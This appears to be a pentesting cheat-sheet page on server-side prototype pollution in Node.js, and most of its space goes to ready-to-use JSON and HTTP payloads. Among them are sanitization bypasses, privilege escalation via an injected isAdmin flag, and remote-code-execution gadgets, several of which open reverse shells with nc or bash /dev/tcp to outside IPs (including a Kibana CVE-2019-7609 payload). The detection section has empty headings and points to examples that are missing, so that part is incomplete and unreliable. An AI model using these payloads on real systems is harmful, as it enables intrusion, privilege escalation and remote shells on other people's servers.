Server-Side prototype pollution

Intro

Server-side prototype pollution (PP) occurs when an attacker can manipulate an application’s prototype chain on the server side, leading to serious vulnerabilities such as remote code execution (RCE) or privilege escalation. It takes advantage of the way JavaScript objects inherit properties and methods from their prototypes.

Unlike client-side PP, detecting and exploiting server-side PP is more challenging due to several factors:

  • No source code access: In most cases, the vulnerable JavaScript code on the server is not directly visible, making it harder to analyze which parts of the code are vulnerable.

  • Lack of developer tools: You can’t use browser DevTools to inspect objects or track behavior, as the JavaScript is running on a remote server.

  • DoS risk: When you successfully pollute a server-side prototype, you risk breaking functionality or crashing the server, which is risky in production environments.

  • Pollution persistence: Unlike client-side environments, where refreshing the page resets changes, server-side prototype pollution persists throughout the lifecycle of the server process.

These challenges make it essential to develop safe, non-destructive techniques for testing and detecting server-side prototype pollution vulnerabilities.

Payloads

  • Basic

POST /user/update HTTP/1.1
Host: example.com
content-type: application/json

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "foo": "bar"
    }
}
  • Other option

{
    "name": "john",
    "email": "john@example.com",
    "constructor": {
        "prototype": {
            "foo": "bar"
        }
    }
}
  • Bypass Sanitization

{
    "name": "john",
    "email": "john@example.com",
    "__pro__proto__to__": {
        "foo": "bar"
    }
}
{
    "name": "john",
    "email": "john@example.com",
    "constconstructorructor": {
        "prototype": {
            "foo": "bar"
        }
    }
}

Detection

In the detection phase of server-side prototype pollution (SSPP), the goal is to identify if a vulnerable server accepts and processes maliciously crafted payloads that can lead to prototype pollution. Here are key detection techniques based on the resources you provided:

Polluted Property Reflection

One of the most common ways to detect SSPP is by submitting JSON data containing __proto__ or constructor objects and then checking whether the polluted properties are reflected in the response or server behavior.

Example Payloads:

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "foo": "bar"
    }
}

If the application is vulnerable, the response might include the new foo property:

{
    "name": "john",
    "email": "john@example.com",
    "foo": "bar"
}

This indicates that the __proto__ pollution worked, and the property foo was injected into the object.

Parameter limit

Ignore query prefix

Allow dots

Content type

JSON spaces

Exposed headers

OPTIONS

JSON reflection

Two keys are used in the preceding example __proto__ and __proto__x. If the latter is reflected but not the former, then it's likely there is some form of object reflection that could be prototype pollution. If the key/value persists when the property is removed, this indicates there is some form of object persistence that could potentially be prototype pollution.

In the preceding example, only b is reflected and not the inherited property a. This is because Lodash looks at the current object to see if the property already exists in the merged object

OAST

I read an excellent paper about exploiting prototype pollution by Mikhail Shcherbakov, Musard Balliu & Cristian-Alexandru Staicu. In the paper they detail how to exploit Node sinks such as fork(), exec(), execSync() and others.

{
  "__proto__": {
    "argv0":"node",
    "shell":"node",
    "NODE_OPTIONS":"--inspect=id.oastify.com"
  }
}

windows

{
  "__proto__": {
    "argv0":"node",
    "shell":"node",
    "NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
  }
}

This will successfully evade scrapers and create the required DNS interaction.

Exploitation

Privilege Escalation

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "isAdmin": true
    }
}

JSON Spaces Overriding

POST /user/update HTTP/1.1
Host: example.com
content-type: application/json

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "json spaces": 10
    }
}

Status Code Overriding

POST /user/update HTTP/1.1
Host: example.com
content-type: application/json

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "status": 555
    }
}

RCE via child_process

"__proto__": {
    "shell": "node",
    "NODE_OPTIONS": "--inspect=evil\"\".com"
}

shell: It enables us to set a specific shell such as sh, bash, in which to run commands.

NODE_OPTIONS: The environment variable that defines the command-line arguments.

RCE via child_process.spawn(), child_process.fork()

"__proto__": {
    "execArgv": [
        "--eval=require('child_process').execSync('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f')"
]}

Remote Command Execution: RCE in Kibana (CVE-2019-7609)

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

Remote Command Execution: RCE using EJS gadgets

{    "__proto__": {        "client": 1,        "escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')"    }}

Overwrite Environment Variable

"constructor":{
	"prototype":{
		"env":{
			"xyz":"require('child_process').execSync('whoami').toString()"
		},
		"NODE_OPTIONS":"--require /proc/self/environ"
	}
}
  • env Set the value of the xyz to environment variables.

  • --require /proc/self/environ Inject environment variables from the current process as a module.

Resources

Last updated